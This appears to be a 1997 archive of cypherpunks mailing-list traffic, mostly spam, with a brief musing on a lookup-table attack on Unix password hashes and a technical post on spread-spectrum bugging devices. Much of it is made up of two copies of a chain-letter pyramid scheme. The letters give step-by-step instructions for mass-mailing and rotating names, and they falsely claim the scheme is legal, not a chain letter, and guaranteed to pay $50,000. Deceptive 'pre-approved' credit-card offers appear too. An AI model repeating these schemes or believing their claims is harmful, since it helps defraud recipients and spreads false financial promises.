will attend the local public high school.  Our program provides full
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While we have many traditional two-parent families, single parent
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To learn more about hosting opportunities with P.I.E., please visit
our web site at: http://www.pieusa.org   or Email us directly at
INFO@PIEUSA.ORG







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Tue, 15 Jul 1997 01:02:55 -0700 (PDT)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: Fuck the Usenet Cabal
In-Reply-To: <836q0D18w165w@bwalk.dm.com>
Message-ID: <Pine.LNX.3.91.970713111822.728B-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain



> ObCrypto: I was offered a 76GB changer for $350.  I thought of the following
> demo application: a user e-mails a piece of a Unix passwd file (password+salt)
> to a server, which looks up a password that works.  Problem is, 76GB doesn't
> seem sufficient for the lookup table. :-( (Assume infinite time available
> on a fast box.)

I have to confess ignorance over the form of the password in the unix 
passwd file, how much salt is used, does it vary from ?nix to ?nix or is it 
pretty standard? Maybe a small(ish) lookup table/ dictionary attack could 
be mounted using this.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: a54@ourlocation.com
Date: Sun, 13 Jul 1997 15:16:51 -0700 (PDT)
To: D34@juno.com (MADCUM.com)
Subject: credit card
Message-ID: <199707132209.PAA07732@sweden.it.earthlink.net>
MIME-Version: 1.0
Content-Type: text/plain








Cash advance:   Yes			Approval number:	000-5467001
Credit limit:         $3000.00			Approval Expires:	08/01/97	
Credit provider:  Morningstar Ent.	                Bank Affiliation:        None	
Card Issued:      Morningstar Card  	                Member Status:       Pending	
Annual Fee:       None			APR:		17.99%


Dear Future Cardholder,

Congratulations!  You have been approved for a  $3,000.00 Unsecured credit line from 
the financial card division of  Morningstar Enterprise regardless of your past credit history. 
Your approval number is 000-5467001 and your approved credit amount of $3000.00  for 
credit purchases and cash advances will be available once you receive your Morningstar 
card! There is No security or money deposits Required! For more information on how to
 receive  your Morningstar card Visit our web site at:

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: OPPORTUNTIES@earthlink.net
Date: Sun, 13 Jul 1997 21:54:31 -0700 (PDT)
To: FRIEND@sweden.it.earthlink.net
Subject: OFFSHORE CREDIT CARD,WE'LL PAY YOU IF YOU DON'T QUALIFY!
Message-ID: <199707140453.VAA23652@sweden.it.earthlink.net>
MIME-Version: 1.0
Content-Type: text/plain


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If this message has reached you in error,please accept our apologies for the intrusion.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: freetryit@hotmail.com
Date: Sun, 13 Jul 1997 21:49:27 -0700 (PDT)
To: freetryit@hotmail.com
Subject: adults only
Message-ID: <18725478612534@gateway1.24hrplaymates.com>
MIME-Version: 1.0
Content-Type: text/plain



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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: flashflood@flashflood.com
Date: Mon, 14 Jul 1997 00:22:23 -0700 (PDT)
To: flashflood@flashflood.com
Subject: "Support Sumbersible Technologies"
Message-ID: <199707141010.GAA27584@plant.mail-response.com>
MIME-Version: 1.0
Content-Type: text/plain



                                     "There Is Something Every American Can Do"
                                   Help Develop Our World And Make A Difference 

                    "SUPPORT THE  FUTURE OF SUBMERSIBLE TECHNOLOGIES"

                                       "We Need Your Help To Make This Happen"

                                                       Straight  to  the  point!

We Need donations to continue our development research.  We are a group of private sector inventors and we need Money! The Tri-Pyramidal and Bi-Pyramidal building block a 21st Century Breakthrough needs your help! We're on to something big, I mean huge, and your donation will help to achieve the development of this breakthrough. It's a building block for our oceans.  A structure that will allow mankind to develop Freely our oceans, like never before. Recreation will take on a whole new dimension and people will flock to the seas in delight of the experience and stand mystified by what they see. Earth's Oceans will take on a new meaning with the changes this development will bring. 

My name is  Kenneth Welch. I'm an Inventor in Houston Texas, asking  for your help and donations to make sure that this discovery does not get lost, or even worse, pushed aside like so many other good inventions kept away from the American public by big business rigmarole or weak investor support. Send a dollar, send five dollars, send five hundred!  Whatever you can to make a difference in the development of this Globally  friendly technology. 

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: autosavr@albany.net
Date: Mon, 14 Jul 1997 09:20:52 -0700 (PDT)
To: autosavr@albany.net
Subject: Subj:  Kiwanis Club Update (7/97)
Message-ID: <199707141620.JAA01216@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


E-Mail News Service (E.N.S.) of Clifton Park, NY USA

Top Story: Clubs Are Making Big Bucks With
The Kiwanis Car Care Fund-Raising Program!

--- Kiwanis clubs all over the country are signing up to participate
 in one of the most profitable fund-raising programs around!  
The Kiwanis Car Care Fund-Raiser is a fully licensed Kiwanis 
fund-raiser, and produces unbelievable profits for clubs of all sizes.
    The Kiwanis Car Care Fund-Raiser is able to reach over 
231,000,000 car owners, all of which want to keep their cars
 looking new.  Your club can get started right away by calling 
1-800-724-8155, or by looking up
 http://www.albany.net/~autosavr/kiwanis on the World Wide Web.

Related News: Kiwanis Car Care Manufacturer Has Over 9 
Successful Years In The Automotive Appearance Business!

--- The manufacturer of the Kiwanis Car Care Fund-Raiser is 
AutoSaver Systems, located in Clifton Park, NY.  They have 
been in business for over 9 years, providing high quality automotive
 appearance products to car care professionals world wide.
    "We started our company a while back, and turned it into a 
success.  We're confident that we can provide the same level of 
high quality products for Kiwanis, and help them become successful 
at fund-raising.  Any Kiwanis club, in any area of the country can raise 
money for their community with the Kiwanis Car Care Fund-Raising 
Program..."  - Warren Camp, President of AutoSaver Systems
    AutoSaver Systems provides factory direct convienence and 
pricing (no middlemen).  The Kiwanis Car Care Fund-Raiser is 
competitively priced with similar store bought products, and literally has
 "Kiwanis" written all over it!  For full details, check out their web site at
http://www.albany.net/~autosavr/kiwanis or by calling 1-800-724-8155.

    If you have received this message in error, and are not affiliated with 
Kiwanis, send mail to autosavr@albany.net and type "REMOVE" in the 
subject heading.  This will remove you from the E.N.S. news list.

E.N.S. of Clifton Park, NY USA
July Edition 1997
                  Kiwanis Members Only




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: List1 <list1@maxpol.com>
Date: Fri, 5 Sep 1997 21:25:09 -0700 (PDT)
To: list1@maxpol.com
Subject: Read This Twice!!
Message-ID: <199707141441.KAA07534@maxpol.com>
MIME-Version: 1.0
Content-Type: text/plain



    Read This Twice!!

The following opportunity is one you may be interested in taking a
look at.  It can be started with VERY MINIMAL outlay!

Read the enclosed program...THEN READ IT AGAIN!...

The enclosed information is something I almost let slip through my
fingers.  Fortunately, sometime later I re-read everything and gave
some thought and study to it.

My name is Christopher Erickson.  Two years ago, the corporation I
worked at for the past twelve years down-sized and my position was
eliminated.  After unproductive job interviews,  I decided to open my
own business.  Over the past year, I incurred many unforeseen financial
problems.  I owed my family, friends, and creditors over $35,000.  The
economy was taking a toll on my business and I just couldn't seem to
make ends meet.  I had to refinance and borrow against my home to
support my family and struggling business.  I truly believe it was
wrong for me to be in debt like this.  AT THAT MOMENT something
significant happened in my life and I am writing to share my experience
in hopes that this will change your life FOREVER....FINANCIALLY!!!

In mid-December, I received this program via email.  Six months prior
to receiving this program I had been sending away for information on
various business opportunities.  All of the programs I received, in my
opinion, were not cost effective.  They were either too difficult for
me to comprehend or the initial investment was too much for me to risk
to see if they worked or not.  One claimed I'd make a million dollars
in one year...it didn't tell me I'd have to write a book to make it.

But like I was saying, in December of '96 I received this program.  I
didn't send for it, or ask for it, they just got my name off a mailing
list.  THANK GOODNESS FOR THAT!!!  After reading it several times, to
make sure I was reading it correctly, I couldn't believe my eyes. I could invest
 as much as I wanted to start, without putting me further in debt.  After I got 
a pencil and paper and figured it out, I would at least get my money back.  After
determining that the program is LEGAL and NOT A CHAIN LETTER, I decided
"WHY NOT".

Initially I sent out 10,000 emails.  It only cost me about $15.00 for
my time on-line.  The great thing about email is that I didn't need any
money for printing to send out the program, only the cost to fulfill my
orders.  I am telling you like it is, I hope it doesn't turn you off.

A good  email extracting and mass mail program can be found at:
http://www.colba.net

I paid off  ALL my debts and bought a much needed new car.  Please take
time to read the attached program, IT WILL CHANGE YOUR LIFE FOREVER!
Remember,  it wont work  if you don't try it.  This program does work,
but you must follow it EXACTLY!  Especially the rules of not trying to
place your name in a different place.  It doesn't work, you'll lose out
on a  lot  of  money!  REPORT  #2  explains this.  Always follow the
guarantee, 15 to 20  orders  for REPORT #1, and 100 or more orders for
REPORT #2 and you will make  $50,000 or more in 20 to 90 days.  I AM
LIVING PROOF THAT IT WORKS !!!

If you are a fellow business owner and you are in financial trouble
like I was, or you want to start your own business, consider this a
sign.  I DID!

                                        Sincerely,
                                        Christopher Erickson


"THREW IT AWAY"

"I  had  received  this program before.  I  threw  it away, but later
wondered if I shouldn't have given it a try.  Of course, I had no idea
who to contact to get a copy, so I had to wait until I was emailed
another copy of the program.  Eleven months passed, then it came.  I
DIDN'T throw this one away.  I made $41,000 on the first try."

                                        Dawn W., Evansville, IN


A PERSONAL NOTE FROM THE ORIGINATOR OF THIS PROGRAM

You have just received information that can give you financial freedom
for the rest of your life, with "NO RISK" and "JUST A LITTLE BIT OF
EFFORT."  You can make more money in the next few months than you have
ever imagined.

Follow the program EXACTLY AS INSTRUCTED.  Do not change it in any way.
It works exceedingly well as it is now.  Remember to email a copy of
this exciting program to everyone that you can think of.  One of the
people you send this to may send out 50,000...and your name will be on
every one of them!.  Remember though, the more you send out, the more
potential customers you will reach.

HERE'S HOW THIS PROGRAM WILL MAKE YOU $$$$$$

Let's say that you decide to start small, just to see how it goes, and
we'll assume you and all those involved send out 2,000 programs each.
Let's also assume that the mailing receives a .5% response.  Using a
good list the response could be much better.  Also many people will
send out hundreds of thousands of programs instead of 2,000.  But
continuing with this example, you send out only 2,000 programs.  With a
5% response, that is only 10 orders for REPORT #1.  Those 10 people
respond by sending out 2,000 programs each for a total of 20,000.  Out
of those .5%, 100 people respond and order REPORT #2.  Those 100 mail
out 2,000 programs each for a total of 200,000.  The .5% response to
that is 1,000 orders for REPORT #3.  Those 1,000 send out 2,000
programs each for a 2,000,000 total.  The .5% response to that is
10,000 orders for REPORT #4.  That's 10,000 five dollar bills for you.
CASH!!!!  Your total income in this example is $50 + $500 + $5000 +
$50,000 for a total of $55,550!!!!

REMEMBER, THIS IS ASSUMING 1,990 OUT OF 2,000 PEOPLE YOU
MAIL TO WILL DO ABSOLUTELY NOTHING... AND TRASH THIS PROGRAM!
DARE TO THINK FOR A MOMENT WHAT WOULD HAPPEN IF EVERYONE
OR HALF SENT OUT 100,000 PROGRAMS INSTEAD OF ONLY 2,000. Believe
me, many people will do that and more!  By the way, your cost to participate
in this is practically nothing.  You obviously already have an Internet
connection and email is FREE!!!  REPORT#3 will show you the best
methods for bulk emailing and purchasing email lists.

THIS IS A LEGITIMATE, LEGAL, MONEY MAKING OPPORTUNITY

It does not require you to come in contact with people, do any hard work, and best
of all, you never have to leave the house except to get the mail.  If
you believe that someday you'll get that big break that you've been
waiting for, THIS IS IT!  Simply follow the instructions, and your
dream will come true.  This multi-level email order marketing program
works perfectly...100% EVERY TIME.  Email is the sales tool of the
future.  Take advantage of this non-commercialized method of
advertising NOW!!  

MULTI-LEVEL MARKETING (MLM) has finally gained respectability.  It is
being taught in the Harvard Business School, and both Stanford Research
and The Wall Street Journal have stated that between 50% and 65% of all
goods and services will be sold throughout Multi-level Methods by the
mid to late 1990's.  This is a Multi-Billion Dollar industry and of the
500,000 millionaires in the US, 20% (100,000) made their fortune in the
last several years in MLM.  Moreover, statistics show 45 people become
millionaires everyday through Multi-Level Marketing.

This is the GREATEST Multi-level Mail Order Marketing anywhere:

Order all four 4 REPORTS listed by NAME AND NUMBER.  Do this
           by ordering the REPORT from each of the four 4 names listed
           on the next page.  For each REPORT, send $5 CASH and a SELF-
           ADDRESSED, STAMPED envelope  (BUSINESS SIZE #10) to the
           person listed for the SPECIFIC REPORT.  International orders
           should also include $1 extra for postage.  It is essential
           that you specify the NAME and NUMBER of the report requested
           to the person you are ordering from.  You will need ALL FOUR
           4 REPORTS because you will be REPRINTING and RESELLING them.
           DO NOT alter the names or sequence other than what the
           instructions say.  IMPORTANT:  Always provide same-day
           service on all orders.

 Replace  the  name  and  address  under  REPORT #1  with
           yours,  moving the one that was there down to REPORT #2.
           Drop  the  name and address under REPORT #2 to REPORT #3,
           moving the one that was there to REPORT #4.  The name and
           address that was under REPORT #4 is dropped from the list
           and this party  is  no doubt on the way to the bank.  When
           doing   this,   make   certain   you  type  the  names  and
           addresses ACCURATELY!  DO NOT MIX UP MOVING PRODUCT/REPORT
           POSITIONS!!!

Having made the required changes in the NAME list, save it
           as a text (.txt) file in it's own directory to be used with
           whatever email program you like.  Again, REPORT #3 will tell
           you the best methods of bulk emailing and acquiring email
           lists.

Email a copy of the entire program (all of this is very
           important) to everyone whose address you can get your hands
           on. Start with friends and relatives since you can encourage
           them to take  advantage of this  fabulous  money-making
           opportunity.  That's what I did.  And they love me now, more
           than ever.  Then, email to anyone and everyone!  Use your
           imagination!  You can get email addresses from companies on
           the Internet who specialize in email mailing lists.  These
           are very cheap, 100,000 addresses for around $35.00.

IMPORTANT: You won't get a good response if you use an old list, so
always request a FRESH, NEW list. You will find out where to purchase
these lists when you order the four 4 REPORTS.

REQUIRED REPORTS

***Order each REPORT by NUMBER and NAME***

ALWAYS SEND A SELF-ADDRESSED, STAMPED ENVELOPE
AND $5 CASH FOR EACH ORDER REQUESTING THE
SPECIFIC REPORT BY NAME AND NUMBER

________________________________________________________
REPORT #1
"HOW TO MAKE $250,000 THROUGH MULTI-LEVEL SALES"

ORDER REPORT #1 FROM:

MaxPol.com
C.P. 503
St-Jean-sur-Richelieu
QC, Canada  J3B 6Z8
________________________________________________________
REPORT #2
"MAJOR CORPORATIONS AND MULTI-LEVEL SALES"

ORDER REPORT #2 FROM:

ESB Comm
1213 D University Terrace
Blacksburg, VA 24060
________________________________________________________
"SOURCES FOR THE BEST MAILING LISTS"
ORDER REPORT #3 FROM:

Generation X Communications
216 Janie Lane
Blacksburg, VA 24060
________________________________________________________
REPORT #4
"EVALUATING MULTI-LEVEL SALES PLANS"

ORDER REPORT #4 FROM:

LaChance Information Systems
PO Box 308
Placida, FL  33946-0308
________________________________________________________


Very few people reach financial independence, because when
opportunity knocks, they choose to ignore it.  It is much easier to say
"NO" than "YES", and this is the question that you must answer.  Will
YOU ignore this amazing opportunity or will you take advantage of it?
If you do nothing, you have indeed missed something and nothing will
change.  Please re-read this material, this is a special opportunity.
If you have any questions, please feel free to write to the sender of
this information.  You will get a prompt and informative reply.

My method is simple.  I sell thousands of people a product for $5 that
costs me pennies to produce and email.  I should also point out that
this program is legal and everyone who participates WILL make money.
This is not a chain letter or pyramid scam.  At times you have probably
received chain letters, asking you to send money, on faith, but getting
NOTHING in return, NO product what-so-ever!  Not only are chain letters
illegal, but the risk of someone breaking the chain makes them quite
unattractive.

You are offering a legitimate product to your people.  After they
purchase the product from you, they reproduce more and resell them.
It's simple free enterprise.  As you learned from the enclosed material,
the PRODUCT is a series of four 4 FINANCIAL AND BUSINESS REPORTS.  The
information contained in these REPORTS will not only help you in making
your participation in this program more rewarding, but will be useful
to you in any other business decisions you make in the years ahead.
You are also buying the rights to reprint all of the REPORTS, which
will be ordered from you by those to whom you mail this program.  The
concise one and two page REPORTS you will be buying can easily be
reproduced at a local copy center for a cost off about 3 cents a copy.
Best wishes with the program and Good Luck!


Send for your four 4 REPORTS immediately so you will have them when the
orders start coming in.  When you receive a $5 order, you MUST send out
the product/service to comply with US Postal and Lottery laws.  Title
18 Sections 1302 and 1341 specifically state that:  "A PRODUCT OR
SERVICE MUST BE EXCHANGED FOR MONEY RECEIVED."

WHILE YOU WAIT FOR THE REPORTS TO ARRIVE:

1.      Name your new company. You can use your own name if you desire.

2.      Get a post office box (preferred).

3.      Edit the names and addresses on the program. You must remember,
        your name and address go next to REPORT #1 and the others all
        move down one, with the fourth one being bumped OFF the list.

4.      Obtain as many email addresses as possible to send until you
        receive the information on mailing list companies in REPORT #3.

5.      Decide on the number of programs you intend to send out.  The
        more you send, and the quicker you send them, the more money
        you will make.

6.      After mailing the programs, get ready to fill the orders.

7.      Copy the four 4 REPORTS so you are able to send them out as
        soon as you receive an order. IMPORTANT: ALWAYS PROVIDE
        SAME-DAY SERVICE ON ORDERS YOU RECEIVE!

YOUR GUARANTEE

The check point which GUARANTEES your success is simply this:  you must
receive 15 to 20 orders for REPORT #1.  This is a must!!!  If you don't
within two weeks, email out more programs until you do.  Then a couple
of weeks later you should receive at least 100 orders for REPORT #2, if
you don't, send out more programs until you do.  Once you have received
100 or more orders for REPORT #2, (take a deep breath) you can sit back
and  relax,  because  YOU  ARE  GOING TO  MAKE  AT  LEAST  $50,000.
Mathematically  it  is  a  proven  guarantee.   Of  those  who  have
participated in the program and reached the above GUARANTEES-ALL have
reached their $50,000 goal.  Also, remember, every time your name is
moved down the list you are in front of a different REPORT, so you can
keep track of your program by knowing what people are ordering from you.
IT'S THAT EASY, REALLY, IT IS!!!







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "James M. Atkinson, Comm-Eng" <jmatk@tscm.com>
Date: Mon, 14 Jul 1997 22:07:24 -0700 (PDT)
To: TSCM-L@tscm.com
Subject: Spread Spectrum Update
Message-ID: <v03110703aff0403d453d@[205.161.57.127]>
MIME-Version: 1.0
Content-Type: text/enriched

===========================================
TSCM-L Technical Security Mailing List
Monday, July 14 1997

Postings:           TSCM-L@tscm.com
Unsubscribe:   unsubTSCM-L@tscm.com
Subscribe:       subTSCM-L@tscm.com
Admin:		     jmatk@tscm.com
===========================================


Several weeks ago I had a chance to examine a number 
of spread spectrum microwave bugging devices.

Since that time I've conducted some analysis and
gathered further intelligence on the circuit.

Here are a few of my observations.


=======  C O N F I D E N T I A L  ========


1) Most of the products use a high bandwidth QPSK/BPSK
modulator, multi channel audio CODEC, and a RISC
micro-controller chip (all components are either
surface mounted ICs or multiple dice potted in epoxy).

2) RF Circuit seems to be a simple homodyne audio
transmitter (6 Ghz Gilbert Cell Mixer) which is driven
by a single CPU/microcontroller (with a clock speed of 180 Mhz).

3) Frequencies used for the ultra low power device are
clean from 130 Mhz to 4 Ghz, circuit starts to fail
above 5.5 Ghz (but is still operable to about 8 Ghz).

4) Emitter is driven directly from vector modulator chip,
with no power amp circuits. PIN diode found on output
appears to provide gain control or disconnect of
circuit, but provides no amplification of signal.

5) Noise floor of circuit is -135 dBm (below 2 ghz),
-142 dBm (2-4 ghz), and -150 dBm above 4 Ghz.

6) Signal has a variable bandwidth which varies between
350 Mhz and 900 Mhz. Appears to be designed for a 
900 Mhz bandwidth signal. Device operates "deep" inside 
the noise floor. 

7) Virtually impossible to detect at close range with a
conventional RF spectrum analyzer (492/494/8566/etc).

8) Detectable with most wideband systems (with IF BW
above 300 - 900 Mhz, 700 Mhz ideal).

8) VCC = +3.0 VDC, all circuits functional 2.3 to 6.8 VDC

9) Output applied to PIN diode ranges between -28 and
-42 dBm (depending on frequency and span)

10)  Device enters some type of sleep mode when power
is present but audio level is low (seems to auto
squelch). Total current draw when in sleep mode is 12
µA. Device does not emit RF energy when in sleep mode.

-------------

11) One of the devices has no type of connection for
external power, but instead uses a uses a network of
Schottky diodes and capacitors which constitute an
effective RF to DC converter.

12) The RF to DC circuit requires an un-modulated 10-15
Ghz RF signal, and seems to respond well to X-Band
microwave motion detectors used for many corporate
alarm systems.

13) Device also has a small microphone built onto the
circuit, microphone measures 4.5mm * 1.6mm * 4.1mm.

14) Entire device measured 3.2 cm * 5.2 cm and about 3
mm thick (or about the thickness of a standard
business envelope).

15) Device contains some type of adhesive on both
sides of a foil backing. Suspect it's applied as some type
of "sticky label". Once the device is installed any 
attempt to remove results in its total destruction 
(unless you freeze it off).

16) The French government has been know to use a 
similar device in some of its "Diplomatic" activities.


-jma

========================================================================
"For those who risk, life has a flavor the protected shall never enjoy."
========================================================================
James M. Atkinson                                 Phone: (508) 546-3803
Granite Island Group - TSCM.COM
127 Eastern Avenue #291                           http://www.tscm.com/
Gloucester, MA 01931-8008                         jmatk@tscm.com
========================================================================
The First, The Largest, The Most Popular, and The Most  
Complete TSCM Counterintelligence Site on the Internet
========================================================================




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 61766626@onestopshop.net
Date: Mon, 14 Jul 1997 20:45:01 -0700 (PDT)
To: PublicInfo@yourinfo.com
Subject: Try us FREE with $10.00 Long Distance...9.9 Cents per Minute!
Message-ID: <imsco@onestopshop.net>
MIME-Version: 1.0
Content-Type: text/plain



STOP PAYING TOO MUCH FOR LONG DISTANCE!

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Click REPLY to get the details.  Please place "9.9 cents" in the subject field.


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 charge to qualify for commissions**

Click Reply to get the details.  Please place "9.9 cents" in the subject field.

To be removed from our mailing list, place "remove" in the subject field.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 46781220@20384.com
Date: Mon, 14 Jul 1997 23:48:39 -0700 (PDT)
To: mktng@powerup-ss.com
Subject: IMMEDIATE CASH
Message-ID: <>
MIME-Version: 1.0
Content-Type: text/plain


Dear Friend,

I would like to share a spectacular new income opportunity made simple & easy
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NOTE: THIS IS THE ONLY MESSAGE YOU WILL RECEIVE FROM US. YOUR
NAME IS AUTOMATICALLY DELETED FROM OUR LIST UPON TRANSMISSION.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: promo@globalserve.net
Date: Tue, 15 Jul 1997 07:21:15 -0700 (PDT)
To: promo@globalserve.net
Subject: Traffic On Your Site Down
Message-ID: <199707151420.KAA00654@smtp.globalserve.net>
MIME-Version: 1.0
Content-Type: text/plain


______________________________________________________________________
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: KinkyBabe@germany.it.earthlink.net
Date: Tue, 15 Jul 1997 14:13:15 -0700 (PDT)
To: videostars@earthlink.net
Subject: Youve got to see this !
Message-ID: <199702170025.GAA08056@no-where.net>
MIME-Version: 1.0
Content-Type: text/plain


If You're Under 21 - Turn Back & Delete This Now!

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Glen <brad@1-global.com>
Date: Tue, 15 Jul 1997 17:35:03 -0700 (PDT)
Subject: Make at Least $50,000 in Less than 90 Days !!
Message-ID: <199707160034.RAA29137@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Please accept my apology if this was sent to you in error!

<><><><><><><><><><><><><><><><><><><><><><><><><><><><><><>
YOU ARE ABOUT TO MAKE AT LEAST $50,000- IN LESS THAN 90 DAYS
READ THE ENCLOSED PROGRAM....  THEN READ IT AGAIN!...
<><><><><><><><><><><><><><><><><><><><><><><><><><><><><><>

Dear Friend,

 The enclosed information is something I almost let slip through my fingers.
Fortunately, sometime later I re-read everything and gave some thought and
study to it.

My name is Christopher  Erickson. Two years ago, the corporation I worked at
for the past twelve years down-sized and my position was eliminated. After
unproductive job interviews, I decided to open my own business. Over the
past year, I incurred many unforeseen financial problems. I owed my family,
friends, and creditors over $35,000. The economy was taking a toll on my
business and I just couldn't seem to make ends meet. I had to refinance and
borrow against my home to support my family and struggling business. I truly
believe it was wrong for me to be in debt like this. AT THAT MOMENT
something significant happened in my life and I am writing to share my
experience in hopes that this will change your life FOREVER....FINANCIALLY!!!

In mid-December, I received this program via e-mail. Six months prior to
receiving this program I had been sending away for information on various
business opportunities. All of the programs I received, in my opinion, were
not cost effective. They were either to difficult for me to comprehend or
the initial investment was to much for me to risk to see if they worked or
not. One claimed I'd make a million dollars in one year... it didn't tell me
that I would have to write a book to make it.

But like I was saying, in December of '92 I received this program. I didn't
send for it, they just got my name off a mailing list.  THANK GOODNESS FOR
THAT!!! After reading it several times, to make sure I was reading it
correctly, I couldn't believe my eyes. Here was a MONEY-MAKING PHENOMENON. I
could invest as much as I wanted to start, without putting me further in
debt. After I got a paper and pencil and figured it out, I would at least
get my money back. After determining that the program is LEGAL and NOT A
CHAIN LETTER, I decided "WHY NOT".

Initially I sent out 10,000 e-mails. It only cost me about $15.00 for my
time on line. The great thing about e-mail is that I didn't need any money
for printing to send out the program, only the cost to fill my orders. I am
telling you like it is, I hope it doesn't turn you off, but I promised
myself that I would not "rip-off" anyone, no matter how much money it cost me!

In less than one week, I was starting to receive orders for REPORT #1. By
January 13th, I had received 26 orders for  REPORT #1. When you read the
GUARANTEE in the program, you will see that "YOU MUST RECEIVE 15 TO 20
ORDERS FOR REPORT #1 WITHIN TWO WEEKS. IF YOU DON'T, SEND OUT MORE PROGRAMS
UNTIL YOU DO!"  My first step in making $50,000 in 20 to 90 days was done.
By January 30th, I had received 196 orders for REPORT #2.  If you go back to
the GUARANTEE, "YOU MUST RECEIVE 100 OR MORE ORDERS FOR REPORT#2 WITHIN TWO
WEEKS. IF NOT, SEND OUT MORE PROGRAMS UNTIL YOU DO. ONCE YOU HAVE 100
ORDERS, THE REST IS EASY, RELAX, YOU WILL MAKE YOUR $50,000 GOAL." Well, I
had 196 orders for REPORT#2, 96 more than I needed. So I sat back and
relaxed. By March 19th, of my e-mailing of 10,000, I received $58,000 with
more coming in every day.

I paid off ALL of my debts and bought a much needed new car. Please take
time to read the attached program, IT WILL CHANGE YOUR LIFE FOREVER!
Remember, it won't work if you don't try it. This program does work, but you
must follow it EXACTLY! Especially the rules of not trying to place your
name in a different place. It doesn't work you will lose out of alot of
money!  REPORT#2 explains this. Always follow the guarantee, 15 to 20 orders
for REPORT#1, and 100 or more orders for REPORT #2 and you will make $50,000
or more in 20 to 90 days. I AM LIVING PROOF THAT IT WORKS!!!  

If you choose not to partiipate in this program, I'm sorry. It really is a
great opportunity with little cost or risk to you. If you chooe to
participate, follow the program and you will be on your way to financial
security.

If you are a fellow business owner and you are in financial trouble like I
was, or you want to start your own business, consider this a sign. I DID!

                                                                     Sincerely,
                                                                     Christo
pher Erickson

PS. Do you have any idea what 11,700 $5 bills ($58,000) looks like piled up
on a kitchen table? IT'S AWESOME!

"THREW IT AWAY"


"I had received this program before, I threw it away, but later wondered if
I shouldn't have given it a try. Of course, I had no idea who to contact to
get a copy, so I had to wait until I was e-mailed another copy of the
program. Eleven months passed, then it came. I DIDN'T throw this one away. I
made $41,000 on the first try."

                                                        Dawn W., Evansville, IN

"NO FREE LUNCH"

"My late father always told me, 'remember Alan, there is no free lunch in
life. You get out of life what you put into it.' Through trial and error and
a somewhat slow frustrating start, I finally figured it out. The program
works very well, I just had to find the right target group of people to
e-mail to. So far this year, I have made over $63,000 using this program. I
know my Dad would have been very proud of me."

                                               Alan B., Philadelphia, Pa.

A PERSONAL NOTE FROM THE ORIGINATOR OF THIS PROGRAM

By the time you have read the enclosed information and looked over the
enclosed program and reports, you should have concluded that such a program,
and one that is legal, could not have been created by an amateur.

Let me tell you a little about myself. I had a profitable business for ten
years. Then in 1979 my business began falling off. I was doing the same
things that were previously successful for me, but it wasn't working.
Finally, I figured it out. It wasn't me, it was the economy. Inflation and
recession had replaced the stable economy that had been with us since 1945.
I don't have to tell you what happened to the unemployment rate.... because
many of you know from first hand experience. There were more failures and
bankruptcies than ever before.


The middle class was vanishing. Those who knew what they were doing invested
wisely and moved up. Those who did not, including those who never had
anything to save or invest, were moving down into the ranks of the poor. As
the saying goes,  THE RICH GET RICHER AND THE POOR GET POORER."  The
traditional methods of making money will never allow you to "move up" or
"get rich", inflation will see to that.


You have just received infomation that can give you financial freedom for
the rest of your life, with "NO RISK" and "JUST A LITTLE BIT IF EFFORT." You
can make more money in the next few months  than you have ever imagined.


I should also point out that I will not see a penny of your money, nor
anyone else who has provided a testimonial for this program. I have already
made over FOUR MILLION DOLLARS!!!  I have retired from the prgram after
sending out over 16,000 programs. Now I have several offices which market
this and several other programs here in the US and overseas. By the Spring,
we wish to market the 'Internet' by a partnership with AMERICA ON LINE.


Follow the program  EXACTLY AS INSTRUCTED. Do not change it in any way. It
works exceedingly well as it is now. Remember to e-mail a copy of this
exciting program to everyone that you can think of. One of the people you
send this to may send out 50,000... and your name will be on every one of
them! Remember though, the more you send out, the more potential customers
you will reach.


So my friend, I have given you the ideas, information, materials and
opportunity to become financially independent, IT IS UP TO YOU NOW!


"THINK ABOUT IT" 

Before you delete this program from your mailbox, as I almost did, take
alittle time to read it and REALLY THINK ABOUT IT. Get a pencil and figure
out what could happen when YOU participate. Figure out the worst possible
response and no matter how you calculate it, you will still make alot of
money! Definitely get back what you invested. Any doubts you have will
vanish when your first orders come in. IT WORKS!

                                                   Paul Johnson, Raleigh, NC


HERE'S HOW THIS AMAZING PROGRAM WILL MAKE YOU $$$$$

Let's say that you decide to start small, just to see how it goes, and we
will assume that you and all those involved send out 2,000 programs each.
Let's also assume that the mailing receives .5% response. Using a good list
the reponse could be much better. Also many people will send out hundreds of
thousands of programs instead of 2,000. But continuing with this example,
you send out only 2,000 programs. With a .5% response, that is only 10
orders for REPORT #1. These 10 people respond by sending out 2,000 programs
each for a total of 20,000. Out of those .5%, 100 people respond and order
REPORT #2. Those 100 mail out 2,000 programs each for a total of 200,000.
The .5% response to that is 1,000 orders for REPORT# 3. Those 1,000 send out
2,000 programs each for a 2,000,000 total. The .5% response to that is
10,000 orders for REPORT# 4. Thats 10,000 five dollar bills for you. CASH!!!
Your total income in this example is $50 + $500 + $5000 + $50,000 for a
total of $55,550!!!


REMEMBER FRIEND, THIS IS ASSUMING 1,990 OUT OF 2,000 PEOPLE YOU MAIL TO WILL
DO ABOLUTELY NOTHING....AND TRASH THIS PROGRAM!!! DARE TO THINK FOR A MOMENT
